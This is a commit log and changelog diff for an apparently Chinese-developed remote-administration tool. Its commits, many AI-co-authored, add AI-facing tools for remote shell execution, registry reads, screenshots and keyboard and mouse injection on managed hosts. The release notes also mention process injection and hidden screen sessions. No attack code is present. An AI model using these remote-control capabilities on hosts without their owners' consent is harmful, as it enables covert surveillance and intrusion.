stale/recycled object, and the unguarded Authorization memcpy overflowed
the 200-byte HeartbeatACK field and clobbered the stack cookie.

Hold the object's IoRefCount across the deferred message: fetch_add
before PostMessageA (with rollback on failure) and a paired fetch_sub in
UpdateUserEvent after UpdateActiveWindow returns. RemoveStaleContext
already waits for IoRefCount == 0 before MoveContextToFreePoolList, so
the object is now guaranteed to stay alive for the whole deferred call.

Also bound the three memcpy sites (two Signature[64], one
Authorization[200]) with explicit truncation so an unexpectedly long
signature or license can no longer overflow its fixed buffer in Release
builds, where ASSERT is a no-op.

Co-Authored-By: deepseek-v4-pro
2026-08-29 06:44:27 +02:00
yuanyuanxianganddeepseek-v4-pro d99122b25f Fix: Window manager view check reads stale state after restore
The window manager's "view" action checks the window state against the
ItemData.Data[2] field populated when the list was built. The right-click
show/hide/maximize/minimize handlers updated only the list control's display
text via SetItemText, leaving Data[2] stale. After restoring a minimized
window, viewing still reported "该窗口已最小化" until the dialog was reopened.

Sync Data[2] alongside SetItemText in all four handlers so the view check and
the status-column sort both see the current state.

Co-Authored-By: deepseek-v4-pro
2026-08-26 21:24:07 +02:00
yuanyuanxianganddeepseek-v4-pro d55d40e7a2 Feature: Exclude human Web viewing from MCP remote control sessions
Complete the bidirectional mutual exclusion between MCP remote control
and human Web viewing (§8.2). Direction 1 (remote_open rejected while a
human session holds the screen sub-connection) already existed; this adds
direction 2: a human Web viewer is now rejected while an MCP session owns
the device.

Add a m_McpTriggeredDevices marker (mirroring m_MfcTriggeredDevices) that
is set when an MCP session is created (BeginScreenCtrlOpen) and cleared at
every session-erasure site (CloseScreenCtrlSession, SweepIdleScreenCtrl,
OnScreenControlClosed, EndScreenCtrlAction), so the marker cannot go stale
and permanently block humans. HandleConnect checks IsMcpTriggered before
mutating client state or starting the remote desktop.

Co-Authored-By: deepseek-v4-pro
2026-08-25 14:14:26 +02:00
yuanyuanxianganddeepseek-v4-pro 25a6e2d07a Feature: Add remote_clipboard MCP tool
Add the remote_clipboard tool to the MCP remote control surface, writing
text to the remote host's clipboard via COMMAND_SCREEN_SET_CLIPBOARD
through the established screen sub-connection. Input UTF-8 is converted
to GBK (ToAnsi, code page 936) to match the client's CF_TEXT/ANSI
clipboard path, mirroring the existing CScreenSpyDlg::SendServerClipboard
packet format. Pasting remains a separate step (remote_keyboard Ctrl+V).

Known MVP limitation, documented in the tool description: non-GBK
characters (e.g. emoji) are replaced by '?' on the CF_TEXT path.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:45:51 +02:00
yuanyuanxianganddeepseek-v4-pro 18259b8526 Feature: Add remote_mouse MCP tool
Add the remote_mouse tool to the MCP remote control surface, injecting
mouse events (move / down / up / click / right_click / middle_click /
drag / scroll) into an established remote_open session. Normalized 0..1
coordinates are mapped to physical pixels via the session's captured
resolution and clamped to screen bounds. Scroll follows the existing web
console's wheel sign convention (positive delta scrolls down) and is
vertical-only.

Extract BuildMouseMsg64 into WebService.h as a shared helper, reused by
both the web console's HandleMouse and the new MCP handler so the two
injection paths cannot drift.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:38:09 +02:00
yuanyuanxianganddeepseek-v4-pro f04d892ac8 Feature: Add remote_keyboard MCP tool (key_down / key_up / key_press / type)
Implement milestone M2b of the MCP remote-control design: inject keyboard
events through an existing screen sub-connection.

- Extract the MSG64 keyboard construction from WebService::HandleKey into a
  shared inline BuildKeyMsg64 helper in WebService.h, and have HandleKey use
  it (behaviour-preserving) so the Web and MCP paths cannot drift.
- Add BuildRemoteKeyboard with four actions: key_down / key_up / key_press
  (key name -> VK via MapKeyNameToVk, plus CTRL/ALT/SHIFT/WIN modifiers) and
  type (per-character VkKeyScanA mapping, ASCII only, newline/tab -> Enter/Tab).
  The batch is sent as one [COMMAND_SCREEN_CONTROL][MSG64*N] packet over the
  screen sub-connection under the existing Begin/EndScreenCtrlAction busy
  discipline, then audited via WM_SHOWERRORMSG.

Non-ASCII text is rejected (-32602) and must go through remote_clipboard +
Ctrl+V (milestone M4), matching the design's clipboard path for CJK input.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:22:00 +02:00
yuanyuanxianganddeepseek-v4-pro c844ba7614 Fix: Client misparses screen-control batches when record count is a multiple of 7
ProcessCommand chose the MSG record size by testing "ulLength % 28 == 0"
before "% 48 == 0". The two sizes' least common multiple is 336 (7*48 =
12*28), so a 48-byte batch whose record count is a multiple of 7 was
misclassified as 28-byte MSG32 records, shifting every field and garbling
(or silently dropping) injected input.

Check "% 48 == 0" first. The modern controller always emits 48-byte MSG64;
the 28-byte MSG32 path is legacy 32-bit-controller compatibility and is only
reached when 48 does not divide evenly. This is the first feature (MCP
remote_keyboard "type", and the upcoming remote_mouse drag) to emit
multi-record batches, which is what made the latent bug reachable.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:21:54 +02:00
yuanyuanxianganddeepseek-v4-pro 09018e2b4d Improve: Harden MCP screen-ctrl session state machine for injection
Add the busy/closed flags to ScreenCtrlSession plus BeginScreenCtrlAction
/ EndScreenCtrlAction, mirroring the terminal's busy discipline so an
in-flight injection cannot race with session teardown (review finding #6).

While an injection is in flight (busy=true), OnScreenControlClosed marks the
session closed instead of erasing it (the injection thread, which still holds
subCtx, cleans up in EndScreenCtrlAction), SweepIdleScreenCtrl skips it, and
CloseScreenCtrlSession defers the erase. The subCtx is looked up under
m_ScreenCtrlMutex and the injection is sent outside the lock, matching the
established terminal pattern; the screen sub-connection's CONTEXT_OBJECT::Send2Client
already serializes internally via SendLock.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:04:05 +02:00
yuanyuanxianganddeepseek-v4-pro 6045baadb8 Feature: Add MCP remote_open/remote_close remote control sessions
Add M1 of MCP remote control (docs/Mcp_RemoteControl_Design.md): the
remote_open / remote_close tools plus the ScreenCtrlSession state machine.

remote_open establishes a hidden screen sub-connection by reusing
WebService::StartRemoteDesktop (COMMAND_SCREEN_SPY -> CScreenSpyDlg ->
RegisterScreenContext), polls for the sub-connection plus its physical
resolution (TOKEN_BITMAPINFO -> NotifyResolutionChange -> GetScreenSize),
then records the session (single device, single session, reverse-mapped
subCtx for OfflineProc cleanup) and returns {session_id, screen_w,
screen_h}. remote_close validates session_id and tears down the
sub-connection idempotently. A McpRemoteControl settings checkbox (default
off, requires McpReadonly=0) gates the tools; every open/close is audited
via WM_SHOWERRORMSG.

Gating: multi-monitor hosts are rejected with -32008 (phase 1 supports only
single monitor, where Observe=main screen and Act=virtual desktop coincide);
the monitor count comes from the client heartbeat RES_RESOLUTION ("N:W*H").

Known limitations (deferred to the injection milestones): mutual exclusion
with human remote-desktop viewing is one-directional in M1 (a human who
joins during an MCP session can tear it down on disconnect), and subCtx is
not yet dereferenced so no liveness re-check is needed until
remote_mouse/remote_keyboard.

Co-Authored-By: deepseek-v4-pro
2026-08-25 12:55:52 +02:00
yuanyuanxianganddeepseek-v4-pro 84e3565de1 doc: Add remote control MCP design doc
Add docs/Mcp_RemoteControl_Design.md, the reference design for an
screenshot-driven AI remote-control feature: the existing get_screenshot for
observation plus remote_open/remote_close/remote_mouse/remote_keyboard for
input injection, reusing COMMAND_SCREEN_PREVIEW_REQ and COMMAND_SCREEN_CONTROL
+ MSG64. Coordinates are normalized (0..1) and mapped server-side to physical
pixels; injection runs over the screen sub-connection opened by
WebService::StartRemoteDesktop's hidden CScreenSpyDlg. Includes a
chat-on-behalf experiment case with clipboard-encoding and window-capture
notes.

Also fold in the get_audit_log encoding correction for
docs/Mcp_Terminal_Design.md, so the two doc changes ship as one commit.

Co-Authored-By: deepseek-v4-pro
2026-08-24 21:51:12 +02:00
yuanyuanxianganddeepseek-v4-pro 70dbb6b255 Feature: Add persistent remote terminal MCP tools
Add terminal_open / terminal_exec / terminal_close so an AI can hold one
shell session per Windows host and run a sequence of commands with cwd and
environment preserved, instead of the one-shot exec_command.

The persistent terminal is a separate full-command write capability gated by
McpTerminal (default off) plus McpReadonly=0, with no whitelist and full
audit. One device maps to one terminal session via the shared m_TermSessions
map; idle sessions are swept after 300s. terminal_exec rejects commands that
contain & or | (they corrupt the sentinel control-operator chain) as well as
control characters.

Also harden exec_command and terminal_exec against newline/CR injection, fix a
dangling subCtx after an abrupt shell disconnect, and refresh lastActiveAt on
command completion. Add en/zh-TW translations for the new UI strings and a
design document covering both exec_command and the persistent terminal.

Co-Authored-By: deepseek-v4-pro
2026-08-24 19:11:16 +02:00
yuanyuanxianganddeepseek-v4-pro 0ddbc1aced Feature: Add exec_command MCP tool
Add a one-shot exec_command MCP tool that runs a command on a remote
Windows host and returns stdout plus exit code, reusing the Web terminal
link (main-connection COMMAND_SHELL, a shell sub-connection, and a
sentinel command line located via rfind to tolerate ConPTY echo).

The sentinel marker is embedded in the command line ConPTY echoes back,
so it is only treated as hit when it starts a line (preceded by a newline
or the buffer start); this keeps the echoed marker from being mistaken
for the real sentinel when the echo packet arrives before the output.

Execution is gated at Web remote-desktop sensitivity: a read-only mode
(McpReadonly, default on, hides the tool) and a command whitelist
(McpCmdWhitelist) with built-in read-only prefixes. Shell metacharacters
(& | < > ^) are rejected before whitelist matching, and each execution is
recorded in the server audit log.

Extend the MCP settings dialog with the read-only checkbox and a
multi-line whitelist box (commas and newlines both accepted, normalized
to a comma-separated list on save), and add English and Traditional
Chinese mappings for the new UI and audit-log strings.

Co-Authored-By: deepseek-v4-pro
2026-08-23 23:23:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8bd6f3b60a Feature: Add list_registry MCP tool
Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro
2026-08-23 10:37:55 +02:00
yuanyuanxianganddeepseek-v4-pro 8815c4f896 Feature: Add get_audit_log MCP tool
Expose the server main-window audit log (host online/offline, operation
results, alerts) as a read-only, no-arg, in-memory MCP tool. The log lives
in m_CList_Message, a CListCtrl that is only safe to touch on the UI
thread, so add a thread-safe mirror m_MessageLog (guarded by m_cs) and keep
it in sync at the four item-mutation sites: ShowMessage, OnShowErrMessage,
OnMsglogDelete and OnMsglogClear. The tool reads the mirror directly under
m_cs and returns up to MAX_MESSAGE_COUNT (1000) entries, newest first.

Co-Authored-By: deepseek-v4-pro
2026-08-21 20:33:59 +02:00
yuanyuanxianganddeepseek-v4-pro 8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00
yuanyuanxiang d359148841 doc: Add the "docs\macOS_Support_Design.md" to git 2026-08-21 14:15:31 +02:00
yuanyuanxiangandClaude Opus 4.8 11e8b122fe Fix: Client log dialog stops updating past edit-control default limit
The Win32 EDIT control caps text at ~32K/64K chars by default, so the
client log dialog silently stopped accepting appends long before the
512KB truncation logic could run. Call SetLimitText(0) in both
CClientLog and CActivityDialog to lift the cap.

Also unify newline handling in Logger: each entry now ends with exactly
one '\n' at the source, so the in-memory ring-buffer dump (used by the
TCP log query) splits into lines correctly instead of relying on every
Mprintf caller ending its format with '\n'. writeToFile drops the extra
std::endl accordingly.

Additionally fix a CFont leak in CClientLog::OnInitDialog by moving the
font to a member.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-08-20 17:54:33 +02:00
yuanyuanxianganddeepseek-v4-pro 0a1ecfc4ab Improve: Show host remark instead of IP in remote desktop dialog titles
When an online host has a remark set in the client list, use it in place of
the IP in the remote desktop ("远程桌面控制") and virtual screen ("远程虚拟屏幕")
dialog titles, falling back to the IP when no remark is present.

Add a GetTitleHostName() helper to both dialogs. CScreenSpyDlg resolves the
remark through its parent dialog's client map, while CHideScreenSpyDlg uses
the global g_2015RemoteDlg pointer; each falls back to m_IPAddress when the
host has no remark.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:36:30 +02:00
yuanyuanxianganddeepseek-v4-pro c08315cd79 Fix remote desktop cursor cross-contamination across dialogs
The view-mode "forbidden" cursor was applied with SetClassLongPtr(GCLP_HCURSOR),
which mutates the cursor for the whole window class instead of the single dialog
instance. Opening a second remote-desktop dialog without remote control overwrote
that shared class cursor with IDC_NO, so the already-controlled dialog also began
showing the forbidden icon even though it remained operable.

Move the view-mode cursor decision into OnSetCursor, which Windows routes per
window, and remove the now-unused class-cursor assignments. Remote-control mode
and the remote cursor-shape path are left unchanged.

Also drop the dead m_hRemoteCursor member and the leftover GetIconInfo block
(which leaked hbmMask/hbmColor in ScreenSpyDlg), plus the now-unreferenced
m_bMouseTracking flag.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:26:12 +02:00
yuanyuanxianganddeepseek-v4-pro 5611ba621c Feature: Add list_services and get_client_log MCP tools
Add the two P2d read-only MCP tools, both one-shot sub-links (mode A') on
the existing single-flight pending registry.

list_services sends COMMAND_SERVICES; the client's CServicesManager emits
TOKEN_SERVERLIST on sub-link creation, parsed as 5 null-terminated fields per
record (display_name/service_name/binary_path/status/start_type) with
zero-padding termination. Services are Windows-only, so LNX/MAC hosts get
-32005 up front instead of a 20s timeout.

get_client_log sends COMMAND_QUERY_LOG; the client's CClientLogManager dumps
its full in-memory Logger ring buffer once, then pushes deltas every 3s. The
MCP path takes the first (full) TOKEN_REPORT_LOG and cancels the sub-link so
later deltas stop, while the MFC log dialog keeps receiving deltas on the
non-pending branch. Log text is client ANSI on Windows, decoded by clientType
like process/file names. MessageHandle intercepts both with
IsPending -> TakeMainResponse + CancelIO. Sync the design doc (P2d section +
verification notes; Linux get_client_log timeout is a client-version gap).

Co-Authored-By: deepseek-v4-pro
2026-08-19 14:28:10 +02:00
yuanyuanxianganddeepseek-v4-pro c6c6e1d5ef Improve: Add optional max_width to get_screenshot
The get_screenshot tool inherited the MFC thumbnail-preview profile, capping
the frame at 1024px wide (1280 on 4K source), which is too small for AI
vision/OCR of dense UI. Add an optional max_width argument that overrides the
width (clamped to the client's 64..1920 limit) while keeping the RTT-adaptive
jpegQuality. Omitted or 0 keeps the existing thumbnail profile; 1920 yields
near-native resolution (full 1080p on a 1080p source, 1920 wide on 4K). Sync
the design doc.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:41:38 +02:00
yuanyuanxianganddeepseek-v4-pro 61089e5fae Feature: Add list_files and get_screenshot MCP tools
Add the two P2c MCP tools on top of the P2b protocol. list_files lists
drives (COMMAND_LIST_DRIVE -> TOKEN_DRIVE_LIST) or a directory (follow-up
COMMAND_LIST_FILES -> TOKEN_FILE_LIST on the same one-shot sub-link);
get_screenshot reuses the screen-preview RPC with a per-host reqId
correlation so stale or MFC-preview responses fall through to the MFC
path untouched. Both share the P2b single-flight pending registry.

Fix file/process name encoding: the client reads process names, paths and
file names via the ANSI (A) APIs, so they are GBK on Windows regardless of
the CLIENT_CAP_UTF8 capability bit (which governs window titles only).
Decode by clientType (LNX/MAC = UTF-8, Windows = 936) rather than
GetClientEncoding, and convert the list_files path to the client ANSI code
page before sending. Sync Mcp_Phase2_Design.md with the P2c design and the
encoding correction.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:27:32 +02:00
yuanyuanxianganddeepseek-v4-pro bcde74368d Fix: Resolve window titles by clientID instead of peer IP
Window list (WSLIST) sub-connections carry no capability bits, so
GetClientEncoding fell back to FindHostByIP(peer IP) to locate the main
connection. Under FRP/NAT reverse proxy the sub-connection's socket peer
is 127.0.0.1 or an internal relay address, which does not match the main
connection's recorded public IP; the lookup returned NULL and the client's
UTF-8 window titles were decoded as CP936 (GBK), producing mojibake on
hosts with Chinese window titles.

Resolve the main connection by clientID first (pinned on the sub-connection
after TOKEN_CONN_AUTH via SetID), falling back to the peer-IP lookup only
for legacy clients that do not send TOKEN_CONN_AUTH.

Co-Authored-By: deepseek-v4-pro
2026-08-19 11:05:35 +02:00
yuanyuanxianganddeepseek-v4-pro 6ba6b0289d Feature: Add list_processes, list_windows and get_activity_history MCP tools
Add three read-only P2b MCP tools over the existing protocol. list_processes and list_windows trigger the client via COMMAND_SYSTEM / COMMAND_WSLIST on the main connection and receive TOKEN_PSLIST / TOKEN_WSLIST on a one-shot sub-link; get_activity_history uses the main-connection RPC COMMAND_QUERY_ACTIVITY -> TOKEN_REPORT_ACTIVITY. A per-host single-flight pending registry (m_Pending) with a 20s timeout correlates each response to its request and rejects a concurrent request for the same host with -32003. Parsers stop on the first empty record to ignore the client's LocalSize trailing zero padding, and window titles are decoded per the client UTF-8 capability bit. MessageHandle only adds if-guarded branches, so the MFC dialogs are untouched. Sync Mcp_Phase2_Design.md with the mode A'/A architecture, the verification notes, and the registry-backed config location.

Co-Authored-By: deepseek-v4-pro
2026-08-19 09:58:58 +02:00
yuanyuanxianganddeepseek-v4-pro 86c4f14cf4 Feature: Add search_hosts and get_host_detail MCP tools
Add two pure in-memory MCP tools over the online host list. search_hosts filters by name/remark, IP, group and OS (all optional, AND-combined, ASCII case-insensitive substring match); get_host_detail returns one online host by id and answers -32602 for a missing/non-numeric id and -32002 for an unknown or offline id. Sync Mcp_Phase2_Design.md with the second-review corrections and the P2a implementation.

Co-Authored-By: deepseek-v4-pro
2026-08-18 16:53:28 +02:00
yuanyuanxianganddeepseek-v4-pro 13052b7cae Feature: Add MCP (Model Context Protocol) server integration
Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
2026-08-16 14:37:11 +02:00
yuanyuanxianganddeepseek-v4-pro 43398e405e Feature: Add icons to online host context menu items
Add 16x16 icons for the three context-menu items that previously had
none: "Activity History" (Client Management), "Browse Window" (Remote
Control), and "Proxy Port - Auto Start" (Client Proxy). Register three
new bitmap resources and extend the main dialog's bitmap array from 63
to 66 entries so each menu item renders an intuitive glyph.

Co-Authored-By: deepseek-v4-pro
2026-08-15 13:42:57 +02:00
yuanyuanxianganddeepseek-v4-pro 29929e48b2 Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro
2026-08-15 11:09:14 +02:00
yuanyuanxianganddeepseek-v4-pro d0bad75284 Feature: Remember host list sort preference in main dialog
Persist the sort column and direction chosen via the online host list
header (list\OnlineListSort registry key) so the next launch defaults to
the same sort. Re-apply the sort when hosts come online/offline so newly
connected hosts land in their sorted position instead of appending at the
end.

Co-Authored-By: deepseek-v4-pro
2026-08-13 13:12:29 +02:00
yuanyuanxianganddeepseek-v4-pro 9d2e9ec8ca Feature: Remember process/window list sort preference
Persist the sort column and direction chosen via the list header so the
next time the process or window management dialog opens it defaults to
the same sort. Process and window lists are remembered separately
(list\ProcessListSort and list\WindowListSort registry keys) since their
columns have different meanings.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:59:29 +02:00
yuanyuanxianganddeepseek-v4-pro 2d7f224a22 Fix: process list architecture column sorting was a no-op
The process list stored the architecture string only in ItemData::Arch,
leaving Data[3] (the architecture column) empty. Sorting by the
architecture column therefore compared empty strings and did nothing.
Populate Data[3] with the architecture value so the sort works.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:44:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro c8973282cb Feature: Add "Unban IP" to log message context menu in main dialog
- Add "Unban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, performing two actions on the extracted IP:
  1. Remove the IP from the IPBlacklist singleton and persist to config
  2. Scan the entire history host list (m_ClientMap->GetAll()) for all
     clients matching the IP with AUTH_FORBIDDEN status, and restore
     them to UNAUTHORIZED (0) — requiring re-authorization for safety
- Reuses ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
- Handles the case where an IP is not in the blacklist and has no
  matching forbidden clients with a clear "no action needed" message
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-07 11:45:18 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7bbc47a0ee Feature: Add "Ban IP" to log message context menu in main dialog
- Add "Ban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them directly to the IP blacklist
- Reuses ExtractFirstIPFromMessage() from the previous commit for
  dependency-free IPv4 parsing with per-segment 0-255 validation
- Checks against whitelist before banning (whitelisted IPs cannot be
  banned) and skips IPs already in blacklist with clear feedback
- Immediately persists via THIS_CFG.SetStr to the config ini file;
  IPBlacklist singleton takes effect instantly — subsequent connections
  from banned IPs are rejected in IOCPServer::OnAccept() which already
  calls IsIPBlacklisted() on every new connection
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 20:44:33 +02:00
yuanyuanxiangandDeepSeek V4 Pro eeacbe5d61 Feature: Add "Online Notify" to log message context menu in main dialog
- Add "Online Notify" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them to notification keywords
- Implement ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
  with per-segment 0-255 validation, handling diverse log message formats
- Extend NotifyManager::ShouldNotify with IP column (ONLINELIST_IP)
  fallback check, ensuring IP keywords match regardless of the user's
  configured ColumnIndex setting
- OnMsglogLoginNotify only appends keywords and enables the rule without
  overwriting the user's existing ColumnIndex or TriggerType settings
- Menu item is automatically grayed out when PowerShell is unavailable
  or no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 18:13:14 +02:00
yuanyuanxiangandDeepSeek V4 Pro 7c09e9dd8c Fix: Move ONLINELIST_PRIVILEGE to end of enum to fix history host column data corruption
Commit 6d0b1bb (Feat: Add privilege column) inserted ONLINELIST_PRIVILEGE
at enum value 9, shifting INSTALLTIME from 9→10 and PATH from 12→13.
However, FileUpload_Lib (SimplePlugins) is compiled against a separate
copy of context.h that still uses the old enum values. Since
HostInfo.cpp's SaveClientMapData uses OLD enum values to read
sClientInfo[], it was reading privilegeStr for InstallTime and client
type for ProgramPath — corrupting the history host database.

Fix: move ONLINELIST_PRIVILEGE to value 16 (just before MAX), restoring
all original enum values (INSTALLTIME=9, PATH=12, etc.) so the
pre-built library can continue reading correct data without recompilation.

The 'permission' column now appears as the rightmost column in the
online host list instead of between 'version' and 'install time'.

Co-Authored-By: DeepSeek V4 Pro
2026-08-05 20:07:21 +02:00
245 changed files with 59429 additions and 1301 deletions

No files matched your search

+1
View File
@@ -93,6 +93,7 @@ Bin/*
nul
server/go/web/assets/index.html
server/go/users.json
server/go/devices.json
server/go/build/
server/go/.claude/settings.json
android/app/.cxx/
+79
View File
@@ -378,6 +378,85 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志
### v1.4.1 (2026.10.20)
**Web 运维控制台 & 安全加固 & 单向 TLS**
**新功能:**
- **Web 屏幕墙**:同一标签页以 1×1 ~ 5×5 布局同时监控多台设备,桌面 9 路 / 触控 4 路实时解码,超出预算暂停并自动晋升;点击 tile 进入单画面控制;同一设备可重复添加并共享一路流;MFC 与 Go 服务端同步支持(旧前端 / 旧服务端自动降级)
- **安全审计日志**:登录 / 授权拒绝 / WS 生命周期 / 屏幕与终端会话 / 剪贴板(仅字节数)/ 设备认证 / 管理变更;Go 端持久化 `logs/audit.log`,MFC 端保留最近 1000 条内存环形缓冲;Web 新增审计日志查询页(时间 / 事件 / 操作者 / IP / 设备 / 关键字 / 告警过滤 + 分页)
- **离线设备历史(Go)**:`devices.json` 持久化所有登录过的设备,设备列表可按需显示离线记录;管理员可删除记录或对在线设备执行远程卸载
- **单向 TLS 传输**:设备端口同一端口嗅探 ClientHello,TLS 1.2 客户端加密、旧明文客户端不受影响;MFC「扩展 > TLS证书」运行时配置;在线列表新增 TLS 列,右键可远程启用 / 取消(客户端下次启动生效)
- **Web 远程桌面增强**:Ctrl+C/X/V 双向文本剪贴板同步、手机「I」输入框(经剪贴板桥注入)、登录会话跨标签页共享、管理员 SSO 桥接
- **客户端安装位置选择**:ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
- **Go Web UI 白标**:`YAMA_WEB_BRAND_NAME` 替换产品名并移除安全提示与外链
- **安全加固**:每 IP 连接与登录限流、单连接入站缓冲上限、屏幕 / 终端子连接绑定源 IP、可选 ConnAuth HMAC 校验
- **克隆机 ID 去重**:V2 `client_id` 折叠主机名,撞 ID 时服务端下发 `COMMAND_REGEN_CLIENT_ID` 让客户端重算重连
**改进:**
- 文件传输速度改由 MasterSettings 下发(修复重复弹窗),传输对话框标题实时显示速度
- 客户端聊天关闭仅隐藏;日志右键新增白名单;MCP 勾选即时刷新;Web 原生 alert/confirm 全部替换为主题化应用内对话框
- 非中文系统统一按 GBK / UTF-8 解码(对话框 / 进程列表 / 文件列表 / 路径 / 地理位置 / 主机管理 / 剪贴板)
**Bug 修复:**
- 共享 / 转移主机后重启主控不重连;分享 / 转移权限误判
- 已过期授权续期从今天起算,提示与日志显示实际到期日
- V2 上传快捷目录未展开 `%USERPROFILE%`;无摄像头主机发送 0×0 画面信息;列切换残留像素;Go 设备端口日志刷屏;审计页最小化后跳回设备页
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
**新功能:**
- **MCP 服务端集成**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口,Bearer Token 鉴权,「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token;23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路,默认关闭、分级开关(只读 / 白名单 / 终端 / 远程控制 / 文件传输)全面审计
